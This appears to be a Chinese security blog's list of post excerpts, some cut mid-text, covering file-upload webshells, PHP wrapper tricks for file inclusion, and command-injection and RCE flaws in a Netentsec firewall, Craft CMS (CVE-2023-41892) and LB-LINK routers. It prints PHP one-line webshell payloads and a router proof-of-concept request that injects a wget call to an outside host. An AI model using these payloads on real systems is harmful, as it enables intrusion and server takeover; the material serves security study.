一、文件上传简介当今大多数网站都允许进行文件上传,可这是一个十分危险的行为,未经验证的文件上传操作会导致服务器权限被窃取,也就是getshell。当网站对上传的文件格式验证不严谨存在被绕过的可能时,就会导致未经授权的任意命令执行漏洞。WebShellWebShell分为很多种,如大马、小马、一句话木马,总体上属于木马(Trojan)病毒,是一段具有远程命令执行功能的恶意代码或是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。这里我们重点介绍一句话木马。一句话木马一句话木马的特点就是短小,十分精简造成的功能又十分强大,可以产生远程代码执行或远程命令执行的功能,不同的环境有对应的一句话木马。PHP一句话<?php eval($_POST['c']);?> <?php if(isset($_POST['c'])){eval($_POST['c']);}?> <?php system($_REQUEST1);?> <?php ($_=@$_GET1).@$_($_POST1)?> <?php eval_r($
原理网康防火墙HearBeat.php文件中将参数method赋值为delTestFile时,可触发文件删除操作,在data参数中指定需要删除的文件,由于删除文件的操作是通过系统命令完成的,导致命令注入漏洞。 public function deleteImage($params){//params传入一个字典 $basePath = '/var/www/html/'; $imgPath = $this->imagePath; $params = $params->data;//获取data中的文件路径 $cmd = "cd $imgPath \n /bin/rm -rf ";//命令主体 $existDefault=false; foreach ($params as $img){ if($img=='default.png'){ $existDefault=true; }
漏洞描述Craft CMS是一个创造数字体验的平台。这是一个高影响、低复杂度的攻击向量。鼓励在4.4.15之前运行Craft安装的用户至少更新到该版本,以缓解问题。该问题已在Craft CMS 4.4.15中修复。影响版本Craft CMS >= 4.0.0-RC1Craft CMS <= 4.4.14POCid: CVE-2023-41892 info: name: CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: critical description: Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Cr
一、PHP伪协议种类与函数PHP支持的伪协议种类file:——访问本地文件系统http:——访问http(s)网站ftp:——访问FTPphp:——访问IO流zlib:——压缩流data:——数据(RFC 2397)glob:——查找匹配的文件路径模式phar:——PHP归档ssh2:——Secure Shell 2rar:——RARogg:——音频流expect:——处理交互流一般用于文件包含的函数:include()require()include_once()require_once()highlight_file()show_source()flie()readfile()file_get_contents()file_put_contents()fopen() (比较常见)二、php://条件:allow_url_fopen:off/on allow_url_include :仅php://input、php://stdin、php://memory、php://temp 需要onphp:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php:/
原理LB-LINK BL-AC1900等都是中国必联(LB-LINK)公司的一款无线路由器。该漏洞源于通过/goform/set_LimitClient_cfg中的mac、time1和time2参数发现包含命令注入漏洞。影响范围LB-LINK BL-AC1900_2.0 v1.0.1版本、LB-LINK BL-WR9000 v2.4.9版本、LB-LINK BL-X26 v1.2.5版本、LB-LINK BL-LTE300 v1.0.8版本存在安全漏洞。危害远程攻击者可利用该漏洞执行任意命令,取得服务器控制权。POC & EXP手工POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://dnslog.cn;
Equinox
一个乐于分享的网安人